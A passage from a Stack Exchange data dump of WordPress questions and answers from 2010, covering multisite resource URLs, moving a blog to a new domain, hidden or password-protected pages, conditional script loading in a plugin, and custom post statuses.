i.e. references to functions that will let you modify values. One such hook is &lt;code&gt;'stylesheet_uri'&lt;/code&gt; which modifies the URL for the &lt;code&gt;'style.css'&lt;/code&gt; file that you explicitly referenced. You can copy this code to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or you can put into the .PHP file of a WordPress plugin you might be writing.  Note that I coded this to support either subdomain installs or subdirectory installs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function normalize_resource_url($url) {&#xA;  if (MULTISITE) {&#xA;    $site_url = get_site_url(BLOG_ID_CURRENT_SITE); &#xA;    if (SUBDOMAIN_INSTALL) {&#xA;      $url = preg_replace(&quot;#^(https?://[^/]+)(/wp-.*\.(css|js))?$#&quot;,&quot;{$site_url}\\2&quot;,$url);&#xA;    } else {&#xA;      $url = preg_replace(&quot;#^({$site_url})(/[^/]+)(/wp-.*\.(css|js))?$#&quot;,'\1\3',$url);&#xA;    }&#xA;  }&#xA;  return $url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Other Resource URLs May Need Their Own Hooks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The code above only modifies the main stylesheet URL; if you need other URLs modified you may not to use other hooks.  For example, you may end up needing to use &lt;code&gt;'style_loader_src'&lt;/code&gt; and/or &lt;code&gt;'plugins_url'&lt;/code&gt; too but I didn't have my test system set up with enough use-cases to verify if it's needed or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('style_loader_src','normalize_resource_url');&#xA;add_filter('plugins_url','normalize_resource_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Enqueued Scripts and Styles use a &lt;code&gt;base_url&lt;/code&gt; Property&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;And it turns out that the enqueued scripts and styles use a property named &lt;code&gt;base_url&lt;/code&gt; of the global variables &lt;code&gt;$wp_scripts&lt;/code&gt; and &lt;code&gt;$wp_styles&lt;/code&gt;, respectively to determine their location if a full URL is not passed explicitly by the developer. The property of &lt;code&gt;base_url&lt;/code&gt; is only set once for scripts and left blank for styles; the former is set upon instantiation of a &lt;code&gt;WP_Scripts&lt;/code&gt; object that is then assigned to the global variable &lt;code&gt;$wp_scripts&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Set the &lt;code&gt;base_url&lt;/code&gt; Property in an Early &lt;code&gt;'init'&lt;/code&gt; Hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you instantiate and assign those early before any calls to &lt;code&gt;wp_enqueue_script()&lt;/code&gt; or &lt;code&gt;wp_enqueue_style()&lt;/code&gt; you can then set the &lt;code&gt;base_url&lt;/code&gt; property immediately after which you can do with an &lt;code&gt;init&lt;/code&gt; hook with a priority of &lt;code&gt;1&lt;/code&gt; &lt;em&gt;(&lt;code&gt;1&lt;/code&gt; priorities run very early, before most hooks)&lt;/em&gt;. Here's the &lt;code&gt;'init'&lt;/code&gt; hook to accomplish this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('init','normalize_base_urls',1);&#xA;function normalize_base_urls() {&#xA;  $GLOBALS['wp_scripts'] = new WP_Scripts();&#xA;  $GLOBALS['wp_styles'] = new WP_Styles();&#xA;&#xA;  $base_url = normalize_resource_url(get_site_url(BLOG_ID_CURRENT_SITE));&#xA;&#xA;  $GLOBALS['wp_scripts']-&amp;gt;base_url = $base_url;&#xA;  $GLOBALS['wp_styles']-&amp;gt;base_url = $base_url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Or Set the &lt;code&gt;base_url&lt;/code&gt; Property in a Late &lt;code&gt;'init'&lt;/code&gt; Hook&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It's also possible to use a very high number for the priority for the &lt;code&gt;'init'&lt;/code&gt; hook &lt;em&gt;(such as 100)&lt;/em&gt; after all &lt;code&gt;wp_enqueue_script()&lt;/code&gt; or &lt;code&gt;wp_enqueue_style()&lt;/code&gt; have been called by &lt;em&gt;(higher numbered priority hooks run after those with lower numbers)&lt;/em&gt;. If so you don't need to instantiate the globals, just assign the &lt;code&gt;base_url&lt;/code&gt; property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('init','normalize_base_urls',100);&#xA;function normalize_base_urls() {&#xA;  $base_url = normalize_resource_url(get_site_url(BLOG_ID_CURRENT_SITE));&#xA;  $GLOBALS['wp_scripts']-&amp;gt;base_url = $base_url;&#xA;  $GLOBALS['wp_styles']-&amp;gt;base_url = $base_url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Might Need to Adjust &lt;code&gt;'init'&lt;/code&gt; Hook Priorities if Conflicting Plugins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Whichever your preference, I believe either of those two (2) &lt;code&gt;'init'&lt;/code&gt; hooks will work for you, but if you have plugins that use conflicting priorities you might need to lower the priority number to 0 or less with the first approach, or raise the priority above 100 for the second approach. Again I didn't have enough use-case test scenarios to 100% verify so let me know if some use cases are not working for you.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-25T01:13:27.600" CommentCount="2" />
  <row Id="5915" PostTypeId="1" CreationDate="2010-12-12T04:11:09.393" Score="4" ViewCount="199" Body="&lt;p&gt;I have a WordPress blog for which the domain name has expired.  I can still nearly access the blog via a new domain name at the same host, but it seems like the original domain name is quite solidly baked into WordPress.  Every time I get WordPress to serve just one page, when I all links on that page still point to the old domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with relative URL's is another question for the WordPress team, but my real question here is how can I recover my blog and reopen it under a new domain name?&lt;/p&gt;&#xA;" LastActivityDate="2010-12-26T03:09:12.577" Title="Recover WordPress blog from an inactive domain name" Tags="&lt;blogging&gt;" AnswerCount="3" />
  <row Id="5916" PostTypeId="2" ParentId="5915" CreationDate="2010-12-12T04:30:59.083" Score="0" ViewCount="" Body="&lt;p&gt;You mean after changing the Site and WordPress addresses in &lt;code&gt;Settings&lt;/code&gt; &gt; &lt;code&gt;General&lt;/code&gt; you still have this problem? This seems like a pretty serious bug, but may be a design limitation of WordPress. Either way, it's probably wise to report it upstream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address your problem: &lt;strong&gt;backup&lt;/strong&gt; the database and run an update to replace any references to the old URL with the new one, in case some things have been committed to the DB. I think that should solve any issues you see (clear the caches as well, if applicable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A slightly more hackish way would be to clone both WordPress and the database locally, then change your hosts file to claim your old URL resolves to 127.0.0.1 and run the server locally. With that going, you can export WordPress wholesale and import the resulting file in a new installation, which would be under the new domain.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-25T01:46:52.813" CommentCount="1" />
  <row Id="5917" PostTypeId="2" ParentId="5915" CreationDate="2010-12-12T08:36:10.767" Score="2" ViewCount="" Body="&lt;p&gt;You can fix this by changing the site URL directly in the database. You can either use the mysql client or phpMyAdmin to issue the necessary query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = 'http://www.newdomain.com' WHERE option_value = 'http://www.olddomain.com'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you had the blog running at a subfolder, make sure to include that in the old URL as well. Once you run that query everything will stop redirecting you to the old domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same as the &quot;manual&quot; method here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Changing_The_Site_URL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2010-12-25T01:46:52.813" />
  <row Id="5918" PostTypeId="1" AcceptedAnswerId="5919" CreationDate="2010-12-25T04:15:59.453" Score="2" ViewCount="287" Body="&lt;p&gt;I'd like to add a page that does not appear anywhere on the site (especially not in the header or wherever your pages are listed) unless the URL is typed in directly. Additionally, the page/post should be password-protected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to add a password, but I found no way to remove the page from being listed.&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2010-12-25T11:17:52.230" Title="Is there a way to create invisible pages?" Tags="&lt;3.0&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="5919" PostTypeId="2" ParentId="5918" CreationDate="2010-12-25T04:53:56.960" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@mafutrct:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of ways to do this; picking one is actually the challenge!  I'm going to suggest a few options and let you explore &lt;em&gt;(the ones at the top look most promising)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/page-protection/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Page Protection Plugin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/password-protect-enhancement/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Password Protect enhancement Plugin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/better-protected-pages/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Better Protected Pages&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simply-exclude/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simply Exclude Plugin&lt;/strong&gt;&lt;/a&gt; (&lt;a href=&quot;http://www.codehooligans.com/projects/wordpress/simply-exclude/&quot; rel=&quot;nofollow&quot;&gt;Article&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.instinct.co.nz/blog/2008/04/hide-pages-plugin/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hide Pages Plugin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.glenscott.net/2008/04/15/creating-hidden-pages-in-wordpress-which-dont-appear-in-the-navigation-menu/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Creating ‘hidden’ pages in wordpress which don’t appear in the navigation menu&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm assuming your are using &lt;code&gt;wp_list_pages()&lt;/code&gt; for your menus? If so consider moving to the new menus in v3.0 where you'll get full control of what appears in those menus:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://templatic.com/news/wordpress-3-0-menu-management&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Everything you wanted to know about WordPress 3.0 Menu Management&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-25T04:53:56.960" />
  <row Id="5920" PostTypeId="2" ParentId="5910" CreationDate="2010-12-25T05:47:07.697" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Denis Belousov:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what exactly your code is doing wrong but here's code that does it right. I've decided to wrap the code in a class to be used for your plugin, and for humor I called it &lt;em&gt;&quot;Ugly Photo Plugin.&quot;&lt;/em&gt;  Here's the full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Ugly Photo Plugin&#xA;*/&#xA;class UglyPhotoPlugin {&#xA;  static function on_load() {&#xA;    add_action('wp',array(__CLASS__,'wp'));&#xA;    add_shortcode('ugly-photo',array(__CLASS__,'ugly_photo_shortcode'));&#xA;  }&#xA;  static function ugly_photo_shortcode($attributes,$content,$code) {&#xA;    return '&amp;lt;div rel=&quot;ugly-photo&quot;&amp;gt;' . $content . '&amp;lt;/div&amp;gt;';&#xA;  }&#xA;  static function wp() {&#xA;    if (!is_admin()) {&#xA;      global $post;&#xA;      if (strpos($post-&amp;gt;post_content,'[ugly-photo]') !== false) {&#xA;        wp_enqueue_script( 'jquery' );&#xA;        wp_enqueue_script( 'js_test', &#xA;          plugins_url('/demo/test.js',__FILE__), &#xA;          array('jquery') );&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;UglyPhotoPlugin::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I've decided to use a shortcode &lt;code&gt;[ugly-photo]&lt;/code&gt; and am testing for it instead of &lt;code&gt;'rel=&quot;prettyPhoto&quot;'&lt;/code&gt; because WordPress' WYSIWYG TinyMCE editor will strip out the &lt;code&gt;&quot;rel&quot;&lt;/code&gt; value from your &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; so using the shortcode solves that problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the post looks like when editing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Edit_Post_%E2%80%B9_PM-Sherpa_%E2%80%94_WordPress-20101225-004111.jpg&quot; alt=&quot;WordPress Post Editor with 'Ugly Photo' Shortcode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what my Javascript File has in it and where I've located it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101225-004514.jpg&quot; alt=&quot;http://mikeschinkel.com/websnaps/skitched-20101225-004514.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101225-003608.jpg&quot; alt=&quot;Conditional Loading of Javascript in WordPress&quot;&gt; &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Happy Holidays!&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-26T03:21:26.260" LastActivityDate="2010-12-26T03:21:26.260" CommentCount="16" />
  <row Id="5921" PostTypeId="1" CreationDate="2010-12-25T02:18:23.960" Score="1" ViewCount="90" Body="&lt;p&gt;What may be causing the installation errors I continue to get when trying to auto update anything in Wordpress?  I've been manually upgrading everything for quite some time, and I've tried all sorts of permissioning schemes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample error:&#xA;&lt;code&gt;&#xA;Installing Theme: Indore 1.0.1&#xA;Downloading install package from &lt;a href=&quot;http://wordpress.org/extend/themes/download/indore.1.0.1.zip&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/download/indore.1.0.1.zip&lt;/a&gt;…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpacking the package…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could not create directory. /public_html&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-25T14:03:38.907" Title="What may be causing failure of auto-install features in Wordpress (v3.0.3)?" Tags="&lt;security&gt;&lt;php&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5922" PostTypeId="2" ParentId="5921" CreationDate="2010-12-25T08:45:40.360" Score="0" ViewCount="" Body="&lt;p&gt;I think this is due to the ftp user and the webserver user being different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can login through ssh, try selecting &quot;ftps&quot; in the wordpress upgrade dialog. Otherwise, ask your hosting provider to login as root and assign al your files to your ftp user, as it is possible that some are currently assigned to the web server user, giving rise to the error you encounter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also having this problem, and have resigned to upgrading manually...&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2010-12-25T08:45:40.360" />
  <row Id="5923" PostTypeId="2" ParentId="5903" CreationDate="2010-12-25T08:55:27.773" Score="0" ViewCount="" Body="&lt;p&gt;From what I understand, you want to change the &quot;More...&quot; text that appears at the end of each post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you can replace &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt; by &lt;code&gt;&amp;lt;?php the_content('+'); ?&amp;gt;&lt;/code&gt; in your template files. That should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2010-12-25T08:55:27.773" CommentCount="2" />
  <row Id="5924" PostTypeId="2" ParentId="5918" CreationDate="2010-12-25T09:21:20.737" Score="0" ViewCount="" Body="&lt;p&gt;You can do this with the new Menu System, or you can exclude a page with &lt;a href=&quot;http://wordpress.org/extend/plugins/exclude-pages/&quot; rel=&quot;nofollow&quot;&gt;Exclude Pages&lt;/a&gt; plugin and then add a Password to your Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my opinion is to use the new &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Custom Menu&lt;/a&gt; system to include only the pages/categories you want and nothing else.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-25T09:21:20.737" />
  <row Id="5925" PostTypeId="2" ParentId="5918" CreationDate="2010-12-25T11:05:59.373" Score="7" ViewCount="" Body="&lt;p&gt;By design, wordpress does not have a property per post or page that would signal the application to not use the page in queries of the standard controller &lt;code&gt;WP_Query&lt;/code&gt; as you asked for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's not that this scenario is something too far away. Let's look what wordpress has to offer instead.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Wordpress Post Statuses&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Posts can have some status, or more precisely, they have a status. That is what you might know already. I list them with their string identifier, their naming and context if any. Every post has one of these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;publish&lt;/code&gt; (Published, post)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;future&lt;/code&gt; (Scheduled, post)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;draft&lt;/code&gt; (Draft, post)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pending&lt;/code&gt; (Pending, post)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;private&lt;/code&gt; (Private, post)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;trash&lt;/code&gt; (Trash, post)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;auto-draft&lt;/code&gt; (auto-draft)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;inherit&lt;/code&gt; (inherit)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Next to those, you can register your own post status. The API function to do that is called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_status&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_post_status()&lt;/code&gt; (Wordpress Codex)&lt;/a&gt; which is an undocumented function. You find it documented into source: &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/post.php#L609&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_post_status()&lt;/code&gt; (Wordpress Source)&lt;/a&gt;. To get a post's status, you can use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_status&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_status()&lt;/code&gt; (Wordpress Codex)&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not very well documented, I assume because the concept of post statuses was not introduced as a fixed feature set but on best try and then having a look. So expect this to be a bit fragile and it's unknown if it can be used to actually solve your issue. But I would nevertheless stick to it, because it's a built-in feature which is to be expected, like custom-post-types, to be integrated more and more with each release. CPT's for example are not introduced since 2.8 IIRC and still not complete. It just takes some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post status registration function is documented as being available since 3.0.0, so it's quite new. It was introduced in &lt;a href=&quot;http://core.trac.wordpress.org/changeset/12719&quot; rel=&quot;nofollow&quot;&gt;12719&lt;/a&gt;, related Ticket is &lt;a href=&quot;http://core.trac.wordpress.org/ticket/9674&quot; rel=&quot;nofollow&quot;&gt;#9674&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can imagine, that the concept is not well integrated so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's worth to take a look at that end, because it looks like it contains all ingredients which are important for your feature request. Post statuses have properties that are used in the controllers and models decisions to fetch content - that's basically why you like to control. Let's look what's in before I continue with what's not working / buggy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;public&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Known to be &lt;code&gt;TRUE&lt;/code&gt; for &lt;em&gt;Published&lt;/em&gt; posts. So post statuses with the &lt;code&gt;public&lt;/code&gt;-property set to &lt;code&gt;TRUE&lt;/code&gt; are assume to behave like published posts.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;private&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Known to be &lt;code&gt;TRUE&lt;/code&gt; for &lt;em&gt;Private&lt;/em&gt; posts. Comparable to the &lt;code&gt;public&lt;/code&gt;-property.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;protected&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Protected most certainly stands for &quot;password protected&quot;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;internal&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Example for internal post statuses are: Trash; auto-draft and inherit.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;publicly_queryable&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - If not explicitly set, all public statuses are publicly queryable. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;exclude_from_search&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Assumed to be like the property name suggests.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;show_in_admin_all_list&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Same.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;show_in_admin_status_list&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Same.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;single_view_cap&lt;/strong&gt; &lt;code&gt;TRUE&lt;/code&gt;/&lt;code&gt;FALSE&lt;/code&gt; - Something special, probably worth to look into for your question.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_builtin&lt;/strong&gt; - Optional, internal switch. Can be used to create built-in post statuses.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those post status properties are not designed to work with each other. The concept more or less is that everyone of those is &lt;code&gt;FALSE&lt;/code&gt; by default and you can set &lt;em&gt;some&lt;/em&gt; for them to &lt;code&gt;TRUE&lt;/code&gt;. The data-structure in wordpress is &lt;a href=&quot;http://php.net/manual/en/reserved.classes.php&quot; rel=&quot;nofollow&quot;&gt;a standard class&lt;/a&gt; with some global accessible properties. It is added to the &lt;code&gt;$wp_post_statuses&lt;/code&gt; global variable which acts like a singleton registry in the global namespace per request, ready to be used after init. So if you would like to see, what has been defined, add a hook at the end of &lt;code&gt;init&lt;/code&gt; for debugging purposes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', function() {&#xA;    var_dump($GLOBALS['wp_post_statuses']);&#xA;    die();&#xA;}, 99999);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With something like that you can see what's in for the moment. As those are standard classes with public properties, nothing is guaranteeing data consistency here. So take care as usual with the wordpress API. Some of those most probably interfere with the functionality of others but how and when is only defined by code which is likely to change. Just take a bit care and double check with the source.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Limitations so far&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So as it looks good so far to make use of post statuses, let's take a look for the expected to be limitations this comes with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin lacks of options to make own post states available in the publish box for example. that means, you need to either patch the existing display routine or create your own UI so far for it. Patching core might be more probable as it allows you to offer code for an existing &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12567&quot; rel=&quot;nofollow&quot;&gt;feature request (Ticket #12567)&lt;/a&gt; and an own post edit meta box might be interactively be interfering with the concept of the publish box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest some lightweight patch to introduce a new filter that allows to change the listing of radios. The lighter your approach is, the more likely you will get this in. I smell that core developers fear a bit to introduce any changes to that part because of it's complexitiy. So the less complex your changes are, the better this is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, even if my list above suggest that there is some context for post or page, you can not setup a post status for a specific post type AFAIK. So expect that your post status is available to any custom post type as well or at least the behavior needs to be researched for any of those and properly tested on your concrete site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to learn about the deficiencies, it's always good to peek what's reported in trac to learn about limitations upfront. I do this by searching for the function name (and I use google to search trac next to trac search):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12567&quot; rel=&quot;nofollow&quot;&gt;Ticket #12567 - make post_submit_meta_box more generic&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/12706&quot; rel=&quot;nofollow&quot;&gt;Ticket #12706 - Custom post status bugs in the admin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15947&quot; rel=&quot;nofollow&quot;&gt;Ticket #15947 - &lt;code&gt;register_post_status&lt;/code&gt; inline docs are inaccurate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think this will give you an image.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Defining your own Post Status&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So one option might be to define your own post status. That would enable you to re-use existing status and their functionality (namely drafting and trashing) while maintaining your own type for your hiding purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would setup one as &lt;code&gt;public = TRUE;&lt;/code&gt; but with &lt;code&gt;publicly_queryable = FALSE;&lt;/code&gt;. Then I don't know your needs regarding URL design, so using a numeric ID might be okay. This could short-circuit all the permalinks hassles this concept might have. Instead, if identified as single request with a numeric ID, you can introduce some code, that sets public_queryable to true on for the single request (single means here, the page-data is requested directly and not for a listing). Some pseudo code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postStatusName = 'direct_only_queryable'; # your custom status&#xA;IF is_single_request&#xA;AND get_post_status($request_id) == $postStatusName &#xA;THEN $GLOBALS['wp_post_statuses'][$postStatusName]-&amp;gt;public_queryable = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set within the right place which would be prior to the actual fetching of the models from the database but after you are able to identify the type of request (see &lt;a href=&quot;http://toolpress.de/tools/Toolpress_-_Wordpress-3.0-Program-Flow-0.2-2010-06-28.pdf&quot; rel=&quot;nofollow&quot;&gt;Wordpress 3.0 Program Flow (Toolpress PDF)&lt;/a&gt; with the need to trace hooks in WP_Query and related), this can work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would offer a quite lightweight integration for your feature while making use of core elements to integrate it. Probably some of the plugins listed by Mike are already making use of custom post statuses, so there would already be example code.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-25T11:17:52.230" LastActivityDate="2010-12-25T11:17:52.230" CommentCount="3" />
  <row Id="5926" PostTypeId="2" ParentId="5921" CreationDate="2010-12-25T14:03:38.907" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;Could not create directory. /public_html&lt;/code&gt; error message can be related to multiple issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of them are related to your file-system. This includes the type of filesystem (e.g. NTFS under windows based servers) and the access settings for those. You have not named any in your question, so I assume some linux based host because of popularity and the type of slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to first take a look what is going on behind the scenes. A little checklist to be helpful resolving such issues that just came out of my mind (just add feedback if you like):&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;File System Access Checklist&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Locate the full path where you installed your blog to. Note it down as &lt;em&gt;&quot;Installation-Path&quot;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Locate 